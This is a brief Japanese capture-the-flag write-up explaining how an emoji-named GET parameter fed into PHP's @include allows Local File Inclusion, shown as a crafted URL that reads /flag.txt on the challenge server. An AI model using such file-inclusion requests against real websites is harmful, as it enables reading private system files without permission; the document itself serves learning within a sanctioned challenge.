15 lines (8 loc) · 594 Bytes

Writeup

http://include.sf.ctf.so/ にアクセスすると、以下のようなメッセージが表示される。

GETパラメータに 🤯 とあるので、http://include.sf.ctf.so/?%F0%9F%A4%AF=hogeのようにして@includeに任意の文字列を挿入できる。

Local File Inclusion(LFI) によって/flag.txtを読む。

http://include.sf.ctf.so/?%F0%9F%A4%AF=/flag.txt

にアクセスすると、フラグが表示された。